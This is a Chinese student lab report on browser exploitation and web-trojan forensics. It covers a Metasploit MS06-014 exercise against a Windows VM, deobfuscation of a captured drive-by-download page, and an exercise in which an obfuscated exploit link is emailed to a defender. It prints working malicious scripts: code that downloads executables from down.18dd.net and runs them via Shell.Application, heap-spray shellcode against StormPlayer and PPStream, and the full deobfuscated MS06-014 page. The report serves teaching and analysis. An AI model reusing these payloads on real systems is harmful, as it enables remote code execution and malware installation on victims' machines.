1. 程式人生 > 其它 >20212904 2021-2022-2 《網路攻防實踐》實踐十一報告

20212904 2021-2022-2 《網路攻防實踐》實踐十一報告

20212904 2021-2022-2 《網路攻防實踐》實踐十一報告

1 實踐內容

(1)web瀏覽器滲透攻擊
使用攻擊機和Windows靶機進行瀏覽器滲透攻擊實驗,體驗網頁木馬構造及實施瀏覽器攻擊的實際過程。
①選擇使用Metasploit中的MS06-014滲透攻擊模組。
②選擇PAYLOAD為任意遠端Shell連線。
③設定伺服器地址和URL引數,執行exploit,構造出惡意網頁木馬指令碼。
④在靶機環境中啟動瀏覽器,驗證與伺服器的連通性,並訪問而已網頁木馬指令碼URL。
⑤在攻擊機的Metasploit軟體中檢視滲透攻擊狀態,並通過成功滲透攻擊後建立起的遠端控制會話SESSION,在靶機上遠端執行命令。

  • Web瀏覽端的滲透攻擊威脅--網頁木馬
    • 概念:網頁木馬就是表面上偽裝成普通的網頁檔案或是將惡意的程式碼直接插入到正常的網頁檔案中,當有人訪問時,網頁木馬就會利用對方系統或者瀏覽器的漏洞自動將配置好的木馬的服務端下載到訪問者的電腦上來自動執行。
    • 簡介:首先明確,網頁木馬實際上是一個HTML網頁,與其它網頁不同的是該網頁是黑客精心製作的,使用者一旦訪問了該網頁就會中木馬。為什麼說是黑客精心製作的呢,因為嵌入在這個網頁中的指令碼恰如其分地利用了IE瀏覽器的漏洞,讓IE在後臺自動下載黑客放置在網路上的木馬並執行(安裝)這個木馬,也就是說,這個網頁能下載木馬到本地並執行(安裝)下載到本地電腦上的木馬,整個過程都在後臺執行,使用者一旦開啟這個網頁,下載過程和執行(安裝)過程就自動開始。
      開啟一個網頁,IE瀏覽器真的能自動下載程式和執行程式嗎,如果IE真的能肆無忌憚地任意下載和執行程式,那天下還不大亂。實際上,為了安全,IE瀏覽器是禁止自動下載程式特別是執行程式的,但是,IE瀏覽器存在著一些已知和未知的漏洞,網頁木馬就是利用這些漏洞獲得許可權來下載程式和執行程式的。
    • 攻擊原理:網頁病毒是利用網頁來進行破壞的病毒,它存在於網頁之中,其實是使用一些SCRIPT語言編寫的一些惡意程式碼利用IE的漏洞來實現病毒植入。當用戶登入某些含有網頁病毒的網站時,網頁病毒便被悄悄啟用,這些病毒一旦啟用,可以利用系統的一些資源進行破壞。輕則修改使用者的登錄檔,使使用者的首頁、瀏覽器標題改變,重則可以關閉系統的很多功能,裝上木馬,染上病毒,使使用者無法正常使用計算機系統,嚴重者則可以將使用者的系統進行格式化。而這種網頁病毒容易編寫和修改,使使用者防不勝防。
    • 以MS06-014安全漏洞的滲透攻擊程式碼闡述網頁木馬的具體實現機制:Windows作業系統預設安裝的MDAC資料庫訪問元件RDS.DataSpace中CreateObject()方法建立的ActiveX控制元件無法確保能夠進行安全的互動,導致遠端程式碼執行漏洞。該安全漏洞利用VBScript程式碼,通過RDS.DataSpace物件來建立XMLHTTP物件來下載遠端的惡意程式,並利用DataSpace漏洞,由Adodb.Stream物件繞過應有的安全控制將下載檔案流寫入到檔案系統中的指定位置,並同樣利用RDS.DataSpace漏洞由建立的 Shell.Application物件繞過安全機制直接啟用已儲存在檔案系統中的惡意程式碼。

(2)取證分析實踐—網頁木馬攻擊場景分析
①先訪問start.html,這個檔案中給出了new09.htm的地址。
②在進入 htm 後,每解密出一個檔案地址,請對其作 32 位 MD5 雜湊,以雜湊值為檔名到http://192.168.68.253/scom/hashed/雜湊值下去下載對應的檔案(注意:檔名中的英文字母為小寫,且沒有副檔名),即為解密出的地址對應的檔案。
③如果解密出的地址給出的是網頁或指令碼檔案,繼續解密。
④如果解密出的地址是二進位制程式檔案,進行靜態反彙編或動態除錯。
⑤重複以上過程直到這些檔案被全部分析完成。

(3)攻防對抗實踐—web瀏覽器滲透攻擊攻防
①攻擊方使用Metasploit構造出至少兩個不同Web瀏覽端軟體安全漏洞的滲透攻擊程式碼,並進行混淆處理之後組裝成一個URL,通過具有欺騙性的電子郵件傳送給防守方。
②防守方對電子郵件中的掛馬連結進行提取、解混淆分析、嘗試恢復出滲透程式碼的原始形態,並分析這些滲透程式碼都是攻擊哪些Web瀏覽端軟體的哪些安全漏洞。

2 實踐過程

2.1 web瀏覽器滲透攻擊

  • 任務:使用攻擊機和Windows靶機進行瀏覽器滲透攻擊實驗,體驗網頁木馬構造及實施瀏覽器攻擊的實際過程。
  • 實驗環境:
攻擊機 Kali IP:192.168.11.47
靶機 Windows2kServer IP:192.168.11.61

①選擇使用Metasploit中的MS06-014滲透攻擊模組。

  • 在kali輸入命令msfconsole,開啟metasploit,進入其控制介面。
  • 使用命令search MS06-014搜尋MS06-014漏洞,得到針對這個漏洞的滲透攻擊模組。
  • 輸入命令use exploit/windows/browser/ie_createobject進入該滲透攻擊模組。

②選擇PAYLOAD為任意遠端Shell連線。

  • 輸入命令show payloads檢視payloads。
  • 輸入命令set payload windows/shell/bind_tcp,選擇常用PAYLOAD為windows/shell/bind_tcp。

③設定伺服器地址和URL引數,執行exploit,構造出惡意網頁木馬指令碼。

  • 輸入命令set Lhost 192.168.11.47設定本地IP為攻擊機。
  • 輸入exploit開始攻擊,惡意伺服器建立。

④在靶機環境中啟動瀏覽器,驗證與伺服器的連通性,並訪問而已網頁木馬指令碼URL。

⑤在攻擊機的Metasploit軟體中檢視滲透攻擊狀態,並通過成功滲透攻擊後建立起的遠端控制會話SESSION,在靶機上遠端執行命令。

  • 回到攻擊機上可以看到,一個靶機到攻擊機的session被建立。
  • 使用命令sessions -7檢視我們控制的主機為Windows 2000,版本為5.00.2195。

2.2 取證分析實踐—網頁木馬攻擊場景分析

①訪問start.html,在這個檔案中給出了new09.htm的地址。

  • 用記事本開啟start.html,分析發現在該網頁嵌入了一個內聯框架,指向了一個網頁new09.htm,且該內聯框架高度寬度為0,不易發現。從這兩處可以看出start.html檔案在引用new09.htm檔案時沒有寫絕對路徑,所以new09.htm檔案與start.html檔案在同一目錄下。

  • 檢視new09.htm檔案。

②在進入 htm 後,每解密出一個檔案地址,請對其作 32 位 MD5 雜湊,以雜湊值為檔名。

  • new09.htm 檔案中,用iframe引用了一個http://aa.18dd.net/aa/kl.htm檔案,又用javascript引用了一個http://js.users.51.la/1299644.js檔案。對它們分別作MD5雜湊:

③如果解密出的地址給出的是網頁或指令碼檔案,請繼續解密;如果解密出的地址是二進位制程式檔案,進行靜態反彙編或動態除錯;重複以上過程直到這些檔案被全部分析完成。

  • 在hashed資料夾下找到這兩個檔案:7f60672dcd6b5e90b6772545ee219bd3和23180a42a2ff1192150231b44ffdf3d3,用記事本開啟:

  • 第二個檔案中不是我們想要的內容,第一個檔案中的內容使用XXTEABase64加密方法,到加密金鑰就在倒數第三行中:t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));將\x73\x63\x72\x69\x70\x74使用十六進位制轉字串的操作,即可得到金鑰script:
  • 使用https://cycy.sourceforge.io/xxtea/進行XXTEABase64解密:在金鑰一欄中填入“script”,在下面大的文字框中貼上7f60672dcd6b5e90b6772545ee219bd3.txt檔案的全部內容,點“解密”,文字框的內容變為:
  • 完整內容如下:

<script> eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d") </script>

  • 然後對引號內的十六進位制數進行轉字串的操作,便可以得到以下內容:

  • 完整內容如下:
    function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()24*60*60*1000); document.cookie='ce=windowsxp;path=/;expires='expires.toGMTString(); if(e!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} else{ try{var f;var storm=new ActiveXObject("MPS.StormPlayer");} catch(f){}; finally{if(f!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}} try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch(g){}; finally{if(g!="[object Error]"){ document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}} try{var h;var obj=new ActiveXObject("BaiduBar.Tool");} catch(h){}; finally{if(h!="[object Error]"){ obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}} }}}

  • 分析可知,該檔案利用到的應用程式漏洞有:“Adodb.Stream”、“MPS.StormPlayer”、POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分別是利用了微軟資料庫訪問物件、暴風影音、PPStream 和百度搜霸的漏洞,這些都是現在網路使用者使用非常頻繁的軟體。另外,該檔案還引用三個 js 檔案和一個壓縮包(bd.cab,解開後是 bd.exe)。

  • 分別計算“http://aa.18dd.net/aa/1.js”、“http://aa.18dd.net/aa/b.js”、“http://aa.18dd.net/aa/pps.js”和“http://down.18dd.net/bb/bd.cab” 的md5值:




  • 開啟檔案http://aa.18dd.net/aa/1.js(5d7e9058a857aa2abee820d5473c5fa4)

  • 對引號內十六進位制數進行轉字串的操作,便可以得到以下內容,該程式碼下載了一個http://down.18dd.net/bb/014.exe可執行檔案。

var url="http://down.18dd.net/bb/014.exe"; try{var xml=ado.CreateObject("Microsoft.XMLHTTP",""); xml.Open ("GET",url,0);xml.Send(); as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close (); var shell=ado.createobject("Shell.Application",""); shell.ShellExecute("cmd.exe","/c "path,"","open",0)}catch(e){}

  • 開啟檔案http://aa.18dd.net/aa/b.js(3870c28cc279d457746b3796a262f166)

  • 這裡使用了packed加密方法,可以在UnPacker (matthewfl.com)上進行解密,解密結果如下,我們可以看到關鍵字shellcode,shellcode是一個下載器,因此需要尋找其中的URL,最後找到的結果為http://down.18dd.net/bb/bf.exe得到一個可執行檔案。

var bigblock=unescape("%u9090%u9090"); var headersize=20; var shellcode=unescape("%uf3e9%u0000""%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c""%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378""%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b""%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef""%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1""%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103""%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904""%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b""%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e""%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d""%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320""%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344""%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc""%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0""%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab""%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f""%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574""%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e""%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00""%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c""%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54""%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace=headersizeshellcode.length; while(bigblock.length<slackspace)bigblock=bigblock; fillblock=bigblock.substring(0,slackspace); block=bigblock.substring(0,bigblock.length-slackspace); while(block.lengthslackspace<0x40000)block=blockblockfillblock; memory=new Array(); for(x=0;x<300;x) memory[x]=blockshellcode; var buffer=''; while(buffer.length<4068)buffer="\x0a\x0a\x0a\x0a"; storm.rawParse(buffer)

  • 開啟檔案http://aa.18dd.net/aa/pps.js(5f0b8bf0385314dbe0e5ec95e6abedc2 )

  • 該檔案採用了八進位制加密方式,解密結果如下,可以得到可執行檔案http://down.18dd.net/bb/pps.exe:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000" "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersizeshellcode.length; while (bigblock.length<slackspace) bigblock=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.lengthslackspace<0x40000) block = blockblockfillblock; memory = new Array(); for (x=0; x<400; x) memory[x] = block shellcode; var buffer = ''; while (buffer.length < 500) buffer="\x0a\x0a\x0a\x0a"; pps.Logo = buffer

  • 開啟檔案http://down.18dd.net/bb/bd.cab(1c1d7b3539a617517c49eee4120783b2 )這是一個壓縮檔案,解壓縮得到bd.exe檔案。

  • 至此已經得到4個壓縮檔案:http://down.18dd.net/bb/014.exe、http://down.18dd.net/bb/bf.exe、http://down.18dd.net/bb/pps.exe、bd.exe, 它們的大小都是37KB。

  • 對它們分別計算MD5值:



  • 使用命令“certutil -hashfile 檔名 MD5”對這四個檔案分別進一步計算MD5值,發現MD5值均為1290ecd734d68d52318ea9016dc6fe63,由此可見這四個檔案的內容一樣。

  • 開啟WinXP虛擬機器,使用超級巡警工具檢視bf.exe的加殼情況:

  • 用W32Dasm軟體反彙編df.exe檔案,並檢視串式參考內容清單:

  • 下面對該清單進行分析:

    • 從以下內容可以得到該程式生成“Alletdel.bat”檔案,該檔案的能夠不斷執行“try”標籤下一行的命令,如更改系統日期、刪除某些檔案。
    • 從以下內容等可以得到該程式可能在磁碟根目錄生成自動執行檔案。
    • 從以下內容可以得到該程式要對IE、登錄檔、服務和系統檔案進行破壞。
    • 從以下內容可以得到這個程式有一定的防系統保護軟體的能力。
    • 可以看到該程式裡有20個"http://down.18dd.net/kl/**.exe",表明該程式會下載一些木馬。

2.3 攻防對抗實踐—web瀏覽器滲透攻擊攻防

  • 實驗環境:
攻擊機 Kali IP:192.168.31.150
靶機 Windows2kServer IP:192.168.31.219

①攻擊方使用Metasploit構造出至少兩個不同Web瀏覽端軟體安全漏洞的滲透攻擊程式碼,並進行混淆處理之後組裝成一個URL,通過具有欺騙性的電子郵件傳送給防守方。

  • 在Kali虛擬機器中,按照2.1中第一個實驗步驟使用MS06-014漏洞生成URL,http://192.168.31.150:8080/zShyUhOyoNfjp3q
  • 然後將該URL偽裝成“這裡”放在郵件正文裡發給防守方。

②防守方對電子郵件中的掛馬連結進行提取、解混淆分析、嘗試恢復出滲透程式碼的原始形態,並分析這些滲透程式碼都是攻擊哪些Web瀏覽端軟體的哪些安全漏洞。

  • 防守方收到郵件:
  • 防守方開啟郵件中的偽裝的URL,檢視原始檔,發現原始碼中使用了大量空格、製表符回車等,目的是對關鍵指令進行字串拼接,從而防止被防毒軟體發現。
  • 使用notepad小工具處理上述原始碼,將空格(\s)、水平製表符(\t)、回車(\r)刪掉,對程式碼進行調整得到結果如下:

<html><head><title></title> <scriptlanguage="javascript"> functionFJiwqgbJtxTNwCGtvNfwyR(o,n) {varr=null; try{eval("r=o"".C""re""ate""Ob""je""ct(n)")} catch(e){} if(!r) {try{eval("r=o"".Cr""ea""teO""bj""ect(n,'')")} catch(e){}}if(!r) {try{eval("r=o"".Cr""ea""teO""bj""ect(n,'','')")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""je""ct('',n)")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""ject(n,'')")}catch(e){}} if(!r) {try{eval("r=o"".Ge""tOb""ject(n)")}catch(e){}} return(r);} functionTgkSFQMEAokscUdmqlExJVO(a) {vars=FJiwqgbJtxTNwCGtvNfwyR(a,"W""Sc""ri""pt"".S""he""ll"); varo=FJiwqgbJtxTNwCGtvNfwyR(a,"A""DO""D""B.S""tr""eam"); vare=s.Environment("P""ro""ce""ss"); varurl=document.location'/p''ay''lo''ad';varxml=null; varbin=e.Item("T""E""M""P")"\\tppBbJMsCPXw"".e""xe"; vardat;try{xml=newXMLHttpRequest();} catch(e) {try{xml=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xml=newActiveXObject("MSXML2.ServerXMLHTTP");}} if(!xml){return(0);} xml.open("GET",url,false); xml.send(null); dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0);}functioncrinLgmxhyO() {var i=0; vart=newArray('{''B''D''9''6''C''5''5''6''-''6''5''A''3''-''1''1''D''0''-''9''8''3''A''-''0''0''C''0''4''F''C''2''9''E''3''6''}','{''B''D''9''6''C''5''5''6''-''6''5''A''3''-''1''1''D''0''-''9''8''3''A''-''0''0''C''0''4''F''C''2''9''E''3''0''}','{''7''F''5''B''7''F''6''3''-''F''0''6''F''-''4''3''3''1''-''8''A''2''6''-''3''3''9''E''0''3''C''0''A''E''3''D''}','{''6''e''3''2''0''7''0''a''-''7''6''6''d''-''4''e''e''6''-''8''7''9''c''-''d''c''1''f''a''9''1''d''2''f''c''3''}','{''6''4''1''4''5''1''2''B''-''B''9''7''8''-''4''5''1''D''-''A''0''D''8''-''F''C''F''D''F''3''3''E''8''3''3''C''}','{''0''6''7''2''3''E''0''9''-''F''4''C''2''-''4''3''c''8''-''8''3''5''8''-''0''9''F''C''D''1''D''B''0''7''6''6''}','{''6''3''9''F''7''2''5''F''-''1''B''2''D''-''4''8''3''1''-''A''9''F''D''-''8''7''4''8''4''7''6''8''2''0''1''0''}','{''B''A''0''1''8''5''9''9''-''1''D''B''3''-''4''4''f''9''-''8''3''B''4''-''4''6''1''4''5''4''C''8''4''B''F''8''}','{''D''0''C''0''7''D''5''6''-''7''C''6''9''-''4''3''F''1''-''B''4''A''0''-''2''5''F''5''A''1''1''F''A''B''1''9''}','{''E''8''C''C''C''D''D''F''-''C''A''2''8''-''4''9''6''b''-''B''0''5''0''-''6''C''0''7''C''9''6''2''4''7''6''B''}','{''A''B''9''B''C''E''D''D''-''E''C''7''E''-''4''7''E''1''-''9''3''2''2''-''D''4''A''2''1''0''6''1''7''1''1''6''}','{''0''0''0''6''F''0''3''3''-''0''0''0''0''-''0''0''0''0''-''C''0''0''0''-''0''0''0''0''0''0''0''0''0''0''4''6''}','{''0''0''0''6''F''0''3''A''-''0''0''0''0''-''0''0''0''0''-''C''0''0''0''-''0''0''0''0''0''0''0''0''0''0''4''6''}',null); while(t[i]) {vara=null; if(t[i].substring(0,1)=='{') {a=document.createElement("object");a.setAttribute("cl""as""sid","cl""s""id"":"t[i].substring(1,t[i].length-1));} else{try{a=newActiveXObject(t[i]);}catch(e){}} if(a) {try{varb=FJiwqgbJtxTNwCGtvNfwyR(a,"W""Sc""ri""pt"".S""he""ll"); if(b) {TgkSFQMEAokscUdmqlExJVO(a);return(0);}} catch(e){}}i;}} </script></head> <bodyonload='crinLgmxhyO()'>VPobGXIaRhZxDYlOkxARv</body></html>

  • 分析該程式碼,可以發現document.location載入payload,且下一行跟了一個可執行檔案tppBbJMsCPXw.exe猜測該檔案是通過之前的URL下載靶機上的。
  • 開啟靶機工作管理員檢視正在執行的程序,可以發現上述可執行檔案正在執行:
  • 對於剛才的原始碼在var t=newArray資料,去除引號和加號處理,可以得到如下內容,查詢這些內容可以知道攻擊方利用了MS06-014漏洞。

{BD96C556-65A3-11D0-983A-00C04FC29E36}, {BD96C556-65A3-11D0-983A-00C04FC29E30}, {7F5B7F63-F06F-4331-8A26-339E03C0AE3D}, {6e32070a-766d-4ee6-879c-dc1fa91d2fc3}, {6414512B-B978-451D-A0D8-FCFDF33E833C}, {06723E09-F4C2-43c8-8358-09FCD1DB0766}, {639F725F-1B2D-4831-A9FD-874847682010}, {BA018599-1DB3-44f9-83B4-461454C84BF8}, {D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}, {E8CCCDDF-CA28-496b-B050-6C07C962476B}, {AB9BCEDD-EC7E-47E1-9322-D4A210617116}, {0006F033-0000-0000-C000-000000000046}, {0006F03A-0000-0000-C000-000000000046}

3.學習中遇到的問題及解決

